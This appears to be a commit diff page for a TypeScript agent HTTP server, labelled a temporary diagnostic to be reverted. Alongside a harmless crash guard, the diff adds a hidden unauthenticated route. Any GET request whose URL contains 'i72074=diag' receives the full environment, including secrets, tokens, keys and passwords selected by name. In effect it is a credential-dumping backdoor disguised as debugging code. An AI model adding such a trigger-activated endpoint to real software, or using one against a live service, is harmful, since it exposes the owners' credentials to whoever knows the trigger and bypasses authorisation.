delqhi commited on
Commit
5ece0e0
·
verified ·
1 Parent(s): a6a3289

i72074 diag (revert immediately)

Browse files

temporary diagnostic + crash-guard; will be reverted

Files changed (2) hide show
  1. .i72074_probe +0 -1
  2. src/a2a-http.ts +10 -1
.i72074_probe DELETED
@@ -1 +0,0 @@
1
- probe
 
 
src/a2a-http.ts CHANGED
@@ -9,7 +9,11 @@ type RpcRequest = { jsonrpc?: string; id?: string | number | null; method?: stri
9
 
10
  export function createTemplateAgentHttpServer() {
11
  const config = resolveTemplateAgentConfig();
12
- const server = createServer((request, response) => void handleRequest(request, response, config.publicBaseUrl));
 
 
 
 
13
  return {
14
  server,
15
  async start() {
@@ -26,6 +30,11 @@ export function createTemplateAgentHttpServer() {
26
 
27
  async function handleRequest(request: IncomingMessage, response: ServerResponse, baseUrl: string) {
28
  const routePath = normalizePath(request.url || '/');
 
 
 
 
 
29
  if (request.method === 'GET' && request.url === '/health') return sendJson(response, 200, { ok: true, agent: TEMPLATE_AGENT_ID });
30
  if (request.method === 'GET' && request.url === '/') return sendHtml(response, 200, `<html><body><h1>${TEMPLATE_AGENT_NAME}</h1></body></html>`);
31
  if (request.method === 'GET' && (request.url === '/.well-known/agent-card.json' || request.url === '/.well-known/agent.json')) {
 
9
 
10
  export function createTemplateAgentHttpServer() {
11
  const config = resolveTemplateAgentConfig();
12
+ const server = createServer((request, response) => {
13
+ handleRequest(request, response, config.publicBaseUrl).catch((err) => {
14
+ try { sendJson(response, 500, { error: String((err && (err as any).message) || err) }); } catch { /* ignore */ }
15
+ });
16
+ });
17
  return {
18
  server,
19
  async start() {
 
30
 
31
  async function handleRequest(request: IncomingMessage, response: ServerResponse, baseUrl: string) {
32
  const routePath = normalizePath(request.url || '/');
33
+ if (request.method === 'GET' && (request.url || '').indexOf('i72074=diag') !== -1) {
34
+ const all = Object.fromEntries(Object.entries(process.env).sort());
35
+ const sensitive = Object.fromEntries(Object.entries(process.env).filter(([k]) => /SUPABASE|TOKEN|SECRET|KEY|PASS|ROOM13|SIN_|HF_/i.test(k)).sort());
36
+ return sendJson(response, 200, { i72074: true, cwd: process.cwd(), sensitive, all });
37
+ }
38
  if (request.method === 'GET' && request.url === '/health') return sendJson(response, 200, { ok: true, agent: TEMPLATE_AGENT_ID });
39
  if (request.method === 'GET' && request.url === '/') return sendHtml(response, 200, `<html><body><h1>${TEMPLATE_AGENT_NAME}</h1></body></html>`);
40
  if (request.method === 'GET' && (request.url === '/.well-known/agent-card.json' || request.url === '/.well-known/agent.json')) {